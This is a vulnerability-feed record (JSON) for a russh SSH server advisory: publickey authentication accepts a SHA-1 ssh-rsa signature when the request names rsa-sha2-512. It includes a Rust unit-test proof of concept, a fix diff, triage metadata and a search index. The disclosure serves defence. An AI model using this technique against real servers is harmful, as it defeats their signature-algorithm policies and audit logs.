{"id":"CVE-2026-111062","kind":"vulnerability","aliases":["CVE-2026-111062","GHSA-j7h2-66j4-ghjf"],"related":[],"title":"A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request","description":"### Details\n\nIn `russh/src/server/encrypted.rs`, `server_read_auth_request_pk` (0.63.3, around lines 880-990):\n\n* The requested algorithm name (`pubkey_algo`) is read and only used to decode the key: `PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key)`. The derived `hash_alg` is then dropped (`PublicKeyOrCertificate::PublicKey { ref key, .. }`).\n* The signature blob is decoded (`Signature::decode`) and verified with `Verifier::verify(&pubkey, &buf, &sig)`. `ssh-key` picks the hash from **the signature's own algorithm** (`sig.algorithm()`).\n* `pubkey_algo` and `sig.algorithm()` are never compared.\n\nSo for an RSA key, the request can say `rsa-sha2-512` while the signature is `ssh-rsa`. The signature is valid for SHA-1, verification succeeds, and `Handler::auth_publickey` is called.\n\n**Affected versions: every russh release, from the first (`0.34.0-beta.1`, 2022-03) through 0.63.3 and current `main`.** The behaviour is inherited from `thrussh`, which russh was forked from.\n\nThe mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.\n\n* **Up to 0.46:** after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (`pubkey.set_algorithm(algo_)`), then verifies.\n* **From 0.47/0.48 (move to `ssh-key`):** the signature is decoded with its own algorithm (`sig_workaround::Sig::decode`, later `Signature::decode`) and verified with it.\n\nConfirmed by running the PoC below on 0.63.3. Confirmed by reading the code of `server/encrypted.rs` in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and `main` (2026-09-30), and in thrussh 0.33.5.\n\n### PoC\n\nA unit test in the existing test module of `russh/src/server/encrypted.rs`. It uses the module's own helpers (`test_auth_session`, `sign_with_hash_alg`, `PrivateKeyWithHashAlg`) and needs no network or configuration.\n\n1. Check out russh 0.63.3, or `main`.\n2. Paste the code below inside `mod tests { ... }` of `russh/src/server/encrypted.rs`.\n3. Run `cargo test --lib poc_sha1`.\n\n```rust\n// ---- PoC: signature algorithm not checked against the requested one ----\n\n/// Records whether `auth_publickey` (called only after the signature\n/// verified) was reached.\n#[derive(Default)]\nstruct AcceptAnyKey {\n    authenticated: bool,\n}\n\nimpl Handler for AcceptAnyKey {\n    type Error = Error;\n\n    async fn auth_publickey_offered(\n        &mut self,\n        _user: &str,\n        _public_key: &PublicKey,\n    ) -> Result<Auth, Self::Error> {\n        Ok(Auth::Accept)\n    }\n\n    async fn auth_publickey(\n        &mut self,\n        _user: &str,\n        _public_key: &PublicKey,\n    ) -> Result<Auth, Self::Error> {\n        self.authenticated = true;\n        Ok(Auth::Accept)\n    }\n}\n\n/// A signed publickey request that names `announced` as its public key\n/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).\nfn signed_request_announcing(\n    user: &str,\n    private_key: Arc<PrivateKey>,\n    announced: &str,\n    hash: Option<crate::keys::HashAlg>,\n) -> Vec<u8> {\n    let mut packet = Vec::new();\n    packet.push(msg::USERAUTH_REQUEST);\n    user.encode(&mut packet).unwrap();\n    \"ssh-connection\".encode(&mut packet).unwrap();\n    \"publickey\".encode(&mut packet).unwrap();\n    1u8.encode(&mut packet).unwrap();\n    announced.encode(&mut packet).unwrap();\n    private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();\n\n    let mut signed = Vec::new();\n    CryptoVec::new().as_ref().encode(&mut signed).unwrap();\n    signed.extend_from_slice(&packet);\n    let signature =\n        sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();\n    signature.encode(&mut packet).unwrap();\n    packet\n}\n\n#[tokio::test]\nasync fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {\n    let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();\n    let private = Arc::new(PrivateKey::from(rsa));\n    let mut session = test_auth_session();\n    let mut handler = AcceptAnyKey::default();\n\n    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).\n    let packet = signed_request_announcing(\"alice\", private, \"rsa-sha2-512\", None);\n    session.process_packet(&mut handler, &packet).await.unwrap();\n\n    // RFC 8332 §3: the signature algorithm must be the requested one, so\n    // this request must be rejected. On russh 0.63.3 it is accepted.\n    assert!(\n        !handler.authenticated,\n        \"an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512\"\n    );\n}\n```\n\nResult on unmodified 0.63.3:\n\n```\ntest server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED\npanicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512\n```\n\nWith the fix below, the test passes and the whole library suite still passes: `cargo test --lib` gives 186 passed.\n\nSuggested fix: reject a mismatch through the existing `reject_auth_request(until, ...)` path, so the constant rejection time is kept.\n\n```diff\n--- a/russh/src/server/encrypted.rs\n+++ b/russh/src/server/encrypted.rs\n@@ -1023,6 +1023,21 @@\n                     map_err!(ensure_end(&signature_reader))?;\n                     map_err!(ensure_end(r))?;\n \n+                    // RFC 8332 §3: the signature must use the algorithm the\n+                    // request names.\n+                    let offered_algorithm = match pk_or_cert {\n+                        PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),\n+                        PublicKeyOrCertificate::Certificate(_) => {\n+                            <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)\n+                        }\n+                    };\n+                    if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {\n+                        debug!(\"signature algorithm does not match the requested one\");\n+                        auth_user.clear();\n+                        reject_auth_request(until, &mut self.write, auth_request).await?;\n+                        return Ok(());\n+                    }\n+\n                     let is_valid = if accepted_probe_matches && user == auth_user {\n                         true\n                     } else {\n```\n\n### Impact\n\nThis is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's `publickey` authentication.\n\nWho is impacted: applications that use russh as an **SSH server** and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:\n\n* a server that refuses SHA-1 (`ssh-rsa`) signatures, as OpenSSH does by default since 8.8;\n* a server that logs which algorithm a client authenticated with.\n\nSuch a server can be made to accept a SHA-1 signature, or to record `rsa-sha2-512` for one, by any holder of a valid RSA key.\n\nNot impacted:\n\n* russh clients;\n* authentication strength beyond the choice of hash, since a valid signature by the private key is still required;\n* Te RSA keys were examined, the case where one key admits several signature algorithms (`ssh-rsa`, `rsa-sha2-256`, `rsa-sha2-512`). We did not test other key types.","summary":"The russh SSH server does not check that the signature algorithm in a publickey authentication matches the algorithm named in the request, so it verifies a signature by the hash inside the signature blob. An attacker holding a valid RSA private key can get a SHA-1 ssh-rsa signature accepted for a request announcing rsa-sha2-512, which defeats server policies that refuse SHA-1 or rely on the announced algorithm.","severity":"low","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"russh","fixed":["0.64.0"],"affected":">= 0.34.0-beta.1, < 0.64.0","ecosystem":"cargo"}],"ecosystems":["cargo"],"tags":["cwe-347","package","russh","rust","ssh-server"],"not_affected_if":["algorithm-policy-not-relied-on","no-rsa-user-keys","russh-clients-only"],"how_to_check":"Check whether the application depends on russh as a server: grep Cargo.lock for 'name = \"russh\"' and look at the version, affected if >= 0.34.0-beta.1 and < 0.64.0.","fix":"Upgrade russh to 0.64.0 or later.","status":"open","published_at":"2026-10-19T17:06:29+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:15:36+00:00","updated_at":"2026-10-23T20:15:36+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T20:15:36Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade russh to 0.64.0 or later.\nunknown","summary":"The russh SSH server does not check that the signature algorithm in a publickey authentication matches the algorithm named in the request, so it verifies a signature by the hash inside the signature blob. An attacker holding a valid RSA private key can get a SHA-1 ssh-rsa signature accepted for a request announcing rsa-sha2-512, which defeats server policies that refuse SHA-1 or rely on the announced algorithm.","category":"package","who_cares":["rust","russh","ssh-server"],"confidence":0.8,"analyst_note":"Confirm the fix is in 0.64.0 and check whether the advisory gives a workaround for servers that cannot upgrade; sources at https://github.com/advisories/GHSA-j7h2-66j4-ghjf","how_to_check":"Check whether the application depends on russh as a server: grep Cargo.lock for 'name = \"russh\"' and look at the version, affected if >= 0.34.0-beta.1 and < 0.64.0.\nunknown","needs_analyst":true,"not_affected_if":["russh-clients-only","no-rsa-user-keys","algorithm-policy-not-relied-on"],"severity_if_unknown":"low"},"cost_usd":0.000723,"input_tokens":5038,"output_tokens":438,"severity_before":"low"},"analyst_status":null,"analyst_note":null,"search":"'-03':242C '-09':371C '-1':88B,109B,222C,529C '-111062':24A,32A '-2026':23A,31A '-30':372C '-347':35B '-990':128C '/0.48':311C '0.33.5':376C '0.34.0':239C,352C,354C '0.36.0':355C '0.36.1':356C '0.37.1':357C '0.40.2':358C '0.43.0':359C '0.45.0':360C '0.46':286C '0.46.0':361C '0.47':310C '0.48.2':362C '0.50.4':363C '0.54.6':364C '0.58.1':365C '0.63.1':366C '0.63.3':124C,244C,343C,367C,413C '1':409C '1u8.encode':569C '2':416C '2022':241C '2026':370C '2048':645C '3':426C '512':101B,208C,632C '66j4':28A '880':127C 'accept':5A,93B,486C,506C,628C 'acceptanykey':458C,464C 'affect':231C 'alg':153C,401C,608C 'algo':134C,147C,190C,306C 'algorithm':14A,52B,59B,115B,131C,187C,290C,305C,324C,436C,518C 'alway':273C 'announc':97B,114B,513C,533C,539C,634C 'announced.encode':573C 'arc':538C 'around':125C 'async':468C,487C,623C 'attack':77B 'auth':121C,227C,396C,445C,470C,481C,485C,489C,499C,505C 'authent':8A,56B,459C 'behaviour':249C 'beta.1':240C,353C 'blob':75B,163C,278C,295C 'bool':460C 'buf':174C 'byte':580C 'call':230C,447C 'cargo':428C 'chang':261C 'check':48B,280C,410C,438C 'code':348C,419C 'compar':195C 'configur':408C 'confirm':336C,344C 'connect':559C 'cryptovec':591C 'current':246C 'cve':22A,30A 'cwe':34B 'decod':141C,145C,165C,167C,320C,328C,331C 'default':456C 'defeat':103B 'deriv':151C,455C 'detail':116C 'differ':13A 'drop':156C 'encod':560C,565C,582C,595C 'error':466C,467C,483C,501C 'everi':233C 'exist':383C 'first':238C 'fn':469C,488C,530C,624C 'fork':257C 'get':85B 'ghjf':29A 'ghsa':26A 'ghsa-j7h2-66j4-ghjf':25A 'handler':226C,462C 'hash':71B,152C,181C,271C,301C,400C,523C,541C,607C,613C 'helper':394C 'hold':78B 'impl':461C 'inherit':251C 'insid':72B,292C,421C 'j7h2':27A 'key':83B,143C,149C,160C,178C,200C,299C,316C,478C,496C,517C,537C,578C,612C,638C 'later':329C 'let':544C,586C,603C,635C,647C 'lib':430C 'line':126C 'main':247C,369C,415C 'match':57B 'mechan':260C 'mod':422C 'modul':385C,391C 'move':312C 'msg':550C 'mut':473C,491C,545C,554C,561C,566C,570C,574C,583C,587C,596C,617C,642C 'name':18A,60B,132C,291C,512C 'need':404C 'network':406C 'never':194C,279C 'new':548C,590C,592C,610C 'none':524C 'offer':472C 'ok':484C,504C 'one':17A,442C 'option':542C 'outcom':266C 'overwrit':297C 'packag':36B 'packet':546C,555C,562C,567C,571C,575C,584C,602C,618C,620C 'packet.push':549C 'past':417C 'pick':179C 'pk':123C 'poc':340C,377C,431C,434C,625C 'polici':105B 'priva':648C 'privat':82B,536C,611C,639C 'private_key.public':577C 'privatekeywithhashalg':402C,609C 'pubkey':133C,146C,148C,173C,189C 'pubkey.set':304C 'public':477C,495C,516C 'publickey':7A,55B,158C,228C,446C,471C,479C,490C,497C,509C,564C 'publickeyorcertif':144C,157C 'rand':643C 'random':641C 'reach':454C 'read':120C,136C,288C,346C 'record':443C 'ref':159C,594C 'refus':107B 'releas':235C 'reli':111B 'request':21A,63B,96B,122C,130C,202C,283C,441C,510C,532C,552C 'result':480C,498C 'rng':644C 'rsa':81B,91B,99B,199C,206C,215C,527C,630C,636C 'rsa-sha2':98B,205C 'rsakeypair':640C 'run':338C,427C 'russh':2A,33A,37B,43B,234C,255C,296C,412C 'russh/src/server/encrypted.rs':118C,387C,425C 'rust':38B,433C 'say':204C 'self':474C,482C,492C,500C 'self.authenticated':502C 'server':4A,41B,45B,104B,119C 'server/encrypted.rs':350C 'session':397C 'sha':87B,108B,221C,528C 'sha1':432C,626C 'sha2':100B,207C,631C 'sig':175C,325C,327C 'sig.algorithm':188C,192C 'sign':398C,508C,521C,531C,588C,597C,605C,614C 'signatur':10A,51B,68B,74B,92B,162C,166C,184C,211C,217C,277C,294C,318C,330C,435C,451C,604C,627C 'signature.encode':616C 'signed.extend':599C 'slice':601C 'ssh':3A,40B,44B,90B,177C,214C,315C,526C,558C,637C 'ssh-connect':557C 'ssh-key':176C,314C 'ssh-rsa':89B,213C,525C 'ssh-server':39B 'str':476C,494C,535C,540C 'struct':457C 'succeed':224C 'taken':274C 'test':380C,384C,395C,423C,429C,622C 'thrussh':253C,375C 'time':263C 'tokio':621C 'true':503C 'type':465C 'unit':379C 'unwrap':556C,563C,568C,572C,576C,581C,585C,598C,615C,619C,646C 'use':11A,139C,389C 'user':475C,493C,534C 'user.encode':553C 'userauth':551C 'valid':80B,219C 'vec':543C,547C,589C 'verif':223C 'verifi':66B,169C,171C,172C,308C,333C,452C 'version':232C 'whether':444C 'whose':9A 'workaround':326C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-19T17:06:29+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-j7h2-66j4-ghjf","url":"https://github.com/advisories/GHSA-j7h2-66j4-ghjf","severity":"low","published_at":"2026-10-19T17:06:29+00:00","modified_at":"2026-10-19T17:06:30+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}